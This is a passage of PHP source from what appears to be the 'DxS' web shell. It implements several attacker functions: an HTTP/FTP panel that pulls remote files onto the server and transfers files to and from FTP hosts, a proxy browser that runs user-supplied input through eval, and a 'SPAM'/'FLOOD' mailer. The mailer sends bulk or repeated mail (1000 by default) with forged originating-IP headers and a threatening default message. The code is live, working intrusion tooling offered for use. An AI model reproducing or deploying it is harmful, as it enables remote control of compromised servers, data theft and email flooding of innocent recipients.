1855########
1856if ($_GET['dxmode']=='FTP')
1857 { print "\n".'<table align=center width=100%><col span=3 align=right width=33%><tr><td align=center><font class="highlight_txt"><b>HTTP Download</td><td align=center><font class="highlight_txt"><b>FTP Download</td><td align=center><font class="highlight_txt"><b>FTP Upload</td></tr>';
1858
1859 print "\n".'<tr><td>'; /* HTTP GET */
1860 print "\n\t".'<form action="'.DxURL('leave', '').'" method=POST>';
1861 print "\n\t".'<input type=text name="DxFTP_HTTP" value="http://" style="width:100%;">';
1862 print "\n\t".'<input type=text name="DxFTP_FileTO" value="'.((isset($_GET['dxdir'])?$_GET['dxdir']:DxFileOkaySlashes(realpath($GLOB['FILES']['CurDIR'])))).'/file.txt" style="width:100%;">';
1863 print "\n\t".'<input type=submit value="GET!" style="width:150pt;" class=submit></form>';
1864 print "\n".'</td><td>'; /* FTP DOWNL */
1865 print "\n\t".'<form action="'.DxURL('leave', '').'" method=POST>';
1866 print "\n\t".'<input type=text name="DxFTP_FTP" value="ftp.host.com[:21]" style="width:100%;">';
1867 print "\n\t".'<nobr><b>Login:<input type=text name="DxFTP_USER" value="Anonymous" style="width:40%;"> / <input type=text name="DxFTP_PASS" value="" style="width:40%;"></b></nobr>';
1868 print "\n\t".'<input type=text name="DxFTP_FileOF" value="get.txt" style="width:100%;">';
1869 print "\n\t".'<input type=text name="DxFTP_FileTO" value="'.((isset($_GET['dxdir'])?$_GET['dxdir']:DxFileOkaySlashes(realpath($GLOB['FILES']['CurDIR'])))).'/" style="width:100%;">';
1870 print "\n\t".'<br><nobr><input type=checkbox name="DxFTP_File_BINARY" value="YES">Enable binary mode</nobr>';
1871 print "\n\t".'<input type=submit name="DxFTP_DWN" value="Download!" style="width:150pt;" class=submit></form>';
1872 print "\n".'</td><td>'; /* FTP UPL */
1873 print "\n\t".'<form action="'.DxURL('leave', '').'" method=POST>';
1874 print "\n\t".'<input type=text name="DxFTP_FTP" value="ftp.host.com[:21]" style="width:100%;">';
1875 print "\n\t".'<nobr><b>Login:<input type=text name="DxFTP_USER" value="Anonymous" style="width:40%;"> / <input type=text name="DxFTP_PASS" value="" style="width:40%;"></b></nobr>';
1876 print "\n\t".'<input type=text name="DxFTP_FileOF" value="'.((isset($_GET['dxdir'])?$_GET['dxdir']:DxFileOkaySlashes(realpath($GLOB['FILES']['CurDIR'])))).'/file.txt'.'" style="width:100%;">';
1877 print "\n\t".'<input type=text name="DxFTP_FileTO" value="put.txt" style="width:100%;">';
1878 print "\n\t".'<br><nobr><input type=checkbox name="DxFTP_File_BINARY" value="YES">Enable binary mode</nobr>';
1879 print "\n\t".'<input type=submit name="DxFTP_UPL" value="Upload!" style="width:150pt;" class=submit></form>';
1880 print "\n".'</td></tr></table>';
1881
1882 if (isset($_POST['DxFTP_HTTP'])) { $URLPARSED=parse_url($_POST['DxFTP_HTTP']); $request=DxHTTPMakeHeaders('GET', $URLPARSED['path'].'?'.$URLPARSED['query'], $URLPARSED['host']);
1883 if (!($f=@fsockopen($URLPARSED['host'], (empty($URLPARSED['port']))?80:$URLPARSED['port'], $errno, $errstr, 10))) die(DxError('Sock #'.$errno.' : '.$errstr));
1884 fputs($f, $request);
1885
1886 $GETFILE='';
1887 while (!feof($f)) $GETFILE.=fgets($f, 4096 );
1888 fclose( $f );
1889
1890 DxFiles_UploadHere($_POST['DxFTP_FileTO'], '', $GETFILE);
1891 }
1892
1893 if (isset($_POST['DxFTP_DWN']) OR isset($_POST['DxFTP_UPL']))
1894 { $DxFTP_SERV=explode(':',$_POST['DxFTP_FTP']);
1895 if(empty($DxFTP_SERV[1])) {$DxFTP_SERV=$DxFTP_SERV[0]; $DxFTP_PORT = 21;} else {$DxFTP_SERV=$DxFTP_SERV[0]; $DxFTP_PORT = (int)$DxFTP_SERV[1];}
1896 if (!($FTP=ftp_connect($DxFTP_SERV,$DxFTP_PORT,10))) die(DxError('No connection'));
1897 if (!ftp_login($FTP, $_POST['DxFTP_USER'], $_POST['DxFTP_PASS'])) die(DxError('Login failed'));
1898 if (isset($_POST['DxFTP_UPL']))
1899 if (!ftp_put($FTP, $_POST['DxFTP_FileTO'],$_POST['DxFTP_FileOF'], (isset($_POST['DxFTP_File_BINARY']))?FTP_BINARY:FTP_ASCII))
1900 die(DxError('Failed to upload')); else print 'Upload OK';
1901 if (isset($_POST['DxFTP_DWN']))
1902 if (!ftp_get($FTP, $_POST['DxFTP_FileTO'],$_POST['DxFTP_FileOF'], (isset($_POST['DxFTP_File_BINARY']))?FTP_BINARY:FTP_ASCII))
1903 die(DxError('Failed to download')); else print 'Download OK';
1904 ftp_close($FTP);
1905 }
1906 }
1907
1908########
1909######## HTTP Proxy
1910########
1911if ($_GET['dxmode']=='PROX')
1912 {
1913 print "\n\t".'<form action="'.DxURL('leave', '').'" method=POST>'; print "\n".'<table width=100% cellspacing=0>';
1914 print "\n".'<tr><td width=100pt class=linelisting>URL</td><td><input type=text name="DxProx_Url" value="'.(isset($_POST['DxProx_Url'])?$_POST['DxProx_Url']:'http://www.microsoft.com:80/index.php?get=q&get2=d').'" style="width:100%;"></td></tr>';
1915 print "\n".'<tr><td width=100pt colspan=2 class=linelisting><nobr>Browser <input type=text name="DxProx_Brw" value="'.(isset($_POST['DxProx_Brw'])?$_POST['DxProx_Brw']:'DxS Browser').'" style="width:40%;">'
1916 .' Referer <input type=text name="DxProx_Ref" value="'.(isset($_POST['DxProx_Ref'])?$_POST['DxProx_Ref']:'http://www.ref.ru/').'" style="width:40%;"></td></tr>';
1917 print "\n".'<tr><td width=100pt class=linelisting><nobr>POST (php eval)</td><td><input type=text name="DxProx_PST" value="'.(isset($_POST['DxProx_PST'])?$_POST['DxProx_PST']:'array(\'post_val\' => \'Yeap\')').'" style="width:100%;"></td></tr>';
1918 print "\n".'<tr><td width=100pt class=linelisting><nobr>COOKIES (php eval)</td><td><input type=text name="DxProx_CKI" value="'.(isset($_POST['DxProx_CKI'])?$_POST['DxProx_CKI']:'array(\'cookiename\' => \'val\')').'" style="width:100%;"></td></tr>';
1919 print "\n".'<tr><td colspan=2><input type=submit value="Go" class=submit style="width:100%;">';
1920 print "\n".'</td></tr></table></form>';
1921
1922 if (!isset($_POST['DxProx_Url'])) die();
1923
1924 print str_repeat("\n", 10).'<!-- DxS Proxy Browser -->'."\n\n";
1925
1926 if (empty($_POST['DxProx_PST'])) $_POST['DxProx_PST']=array();
1927 else {if (eval('$_POST[\'DxProx_PST\']='.$_POST['DxProx_PST'].';')===FALSE) $_POST['DxProx_PST']=array();}
1928 if (empty($_POST['DxProx_CKI'])) $_POST['DxProx_CKI']=array();
1929 else {if (eval('$_POST[\'DxProx_CKI\']='.$_POST['DxProx_CKI'].';')===FALSE) $_POST['DxProx_CKI']=array();}
1930
1931 $URLPARSED=parse_url($_POST['DxProx_Url']);
1932 $request=DxHTTPMakeHeaders('GET', (empty($URLPARSED['path'])?'/':$URLPARSED['path']).(!empty($URLPARSED['query'])?'?'.$URLPARSED['query']:''), $URLPARSED['host'], $_POST['DxProx_Brw'], $_POST['DxProx_Ref'], $_POST['DxProx_PST'], $_POST['DxProx_CKI']);
1933 if (!($f=@fsockopen($URLPARSED['host'], (empty($URLPARSED['port']))?80:$URLPARSED['port'], $errno, $errstr, 10)))
1934 die(DxError('Sock #'.$errno.' : '.$errstr));
1935 fputs($f, $request);
1936
1937 $RET='';
1938 while (!feof($f)) $RET.=fgets($f, 4096 );
1939 fclose( $f );
1940
1941 print "\n".'<table width=100% border=0><tr><td>';
1942 $headers_over_place=strpos($RET,"\r\n\r\n");
1943 if ($headers_over_place===FALSE) print $RET;
1944 else
1945 print '<pre><font class=highlight_txt>'.substr($RET, 0, $headers_over_place).'</font></pre><br><hr><br>'.substr($RET, $headers_over_place);
1946 print str_repeat("\n", 10).'</td></tr></table>';
1947 }
1948
1949########
1950######## MAIL
1951########
1952if ($_GET['dxmode']=='MAIL')
1953 { if (!isset($_GET['dxparam']))
1954 {
1955 print ''; print "\n".'<form action="'.DxURL('kill', '').'" method=GET style="display:inline;">';
1956 DxGETinForm('leave', '');
1957 print "\n".'<input type=submit name="dxparam" value="SPAM" style="position: absolute; width: 30%; left: 10%;">'
1958 .'<font class=highlight_txt style="position:absolute;left:46.5%;">: MAIL mode :</font>'
1959 .'<input type=submit name="dxparam" value="FLOOD" style="position: absolute; width: 30%; right: 10%;">';
1960 print "\n".'</form>';
1961 die();}
1962
1963 if (ini_get('sendmail_path')=='') DxWarning('php.ini "sendmail_path" is empty! ('.var_export(ini_get('sendmail_path'), true).')');
1964 print "\n\t".'<form action="'.DxURL('leave', '').'" method=POST>';
1965 print "\n".'<table width=100% cellspacing=0 width=90% align=center><col width=100pt>';
1966 if ($_GET['dxparam']=='FLOOD')
1967 { print "\n".'<tr><td class=linelisting><b>TO: </td><td><input type=text name="DxMailer_TO" style="width:100%;" value="'.( (empty($_POST['DxMailer_TO']))?'tristam@mail.ru':$_POST['DxMailer_TO'] ).'"></td></tr>';
1968 print "\n".'<tr><td class=linelisting><b>NUM FLOOD: </td><td><input type=text name="DxMailer_NUM" value="'.( (empty($_POST['DxMailer_NUM']))?'1000':$_POST['DxMailer_NUM'] ).'" SIZE=10></td></tr>';
1969 }
1970 else print "\n".'<tr><td class=linelisting><b>TO: </td><td><textarea name="DxMailer_TO" rows=10 style="width:100%;">'.( (empty($_POST['DxMailer_TO']))?'tristam@mail.ru'."\n".'billy@microsoft.com':$_POST['DxMailer_TO'] ).'</textarea></td></tr>';
1971 print "\n".'<tr><td class=linelisting><b>FROM: </td><td><input type=text name="DxMailer_FROM" value="'.( (empty($_POST['DxMailer_FROM']))?'DxS <admin@'.$_SERVER['HTTP_HOST']:$_POST['DxMailer_FROM'] ).'>" style="width:100%;"></td></tr>';
1972 print "\n".'<tr><td class=linelisting><b>SUBJ: </td><td><input type=text name="DxMailer_SUBJ" style="width:100%;" value="'.( (empty($_POST['DxMailer_SUBJ']))?'Look here, man...':$_POST['DxMailer_SUBJ'] ).'"></td></tr>';
1973 print "\n".'<tr><td class=linelisting><b>MSG: </td><td><textarea name="DxMailer_MSG" rows=5 style="width:100%;">'.( (empty($_POST['DxMailer_MSG']))?'<html><body><b>Wanna be butchered?':$_POST['DxMailer_MSG'] ).'</textarea></td></tr>';
1974 print "\n".'<tr><td class=linelisting colspan=2><div align=center><input type=submit Value="'.$_GET['dxparam'].'" class=submit style="width:70%;"></tr>';
1975 print "\n".'</td></table></form>';
1976
1977 if (!isset($_POST['DxMailer_TO'])) die();
1978
1979 $HEADERS='';
1980 $HEADERS.= 'MIME-Version: 1.0'."\r\n";
1981 $HEADERS.= 'Content-type: text/html;'."\r\n";
1982 $HEADERS.='To: %%TO%%'."\r\n";
1983 $HEADERS.='From: '.$_POST['DxMailer_FROM']."\r\n";
1984 $HEADERS.='X-Originating-IP: [%%IP%%]'."\r\n";
1985 $HEADERS.='X-Mailer: DxS v'.$GLOB['SHELL']['Ver'].' Mailer'."\r\n";
1986 $HEADERS.='Message-Id: <%%ID%%>';
1987
1988 if ($_GET['dxparam']=='FLOOD')
1989 { $NUM=$_POST['DxMailer_NUM'];
1990 $MAILS=array($_POST['DxMailer_TO']);
1991 }
1992 else
1993 { $MAILS=explode("\n",str_replace("\r", '', $_POST['DxMailer_TO']));
1994 $NUM=1;
1995 }
1996
1997 function DxMail($t, $s, $m, $h) /* debugger */
1998 {print "\n\n\n<br><br><br>".$t."\n<br>".$s."\n<br>".$m."\n<br>".$h;}
1999
2000 $RESULTS[]=array();
2001
2002 for ($n=0;$n<$NUM;$n++)
2003 for ($m=0;$m<count($MAILS);$m++) $RESULTS[]=(int)
2004 mail($MAILS[$m], $_POST['DxMailer_SUBJ'], $_POST['DxMailer_MSG'],
2005 str_replace(array('%%TO%%','%%IP%%', '%%ID%%'),
2006 array('<'.$MAILS[$m].'>' , long2ip(mt_rand(0,pow(2,31))) , md5($n.$m.DxRandomChars(3).time())),
2007 $HEADERS)
2008 );
2009
2010 print "\n\n".'<br><br>'.array_sum($RESULTS).' mails sent ('.( (100*array_sum($RESULTS))/($NUM*(count($MAILS))) ).'% okay)';
2011
2012 }
2013
2014if ($DXGLOBALSHIT) print "\n\n\n".'<!--/SHIT KILLER--></TD></TR></TABLE>';
2015die();
2016?>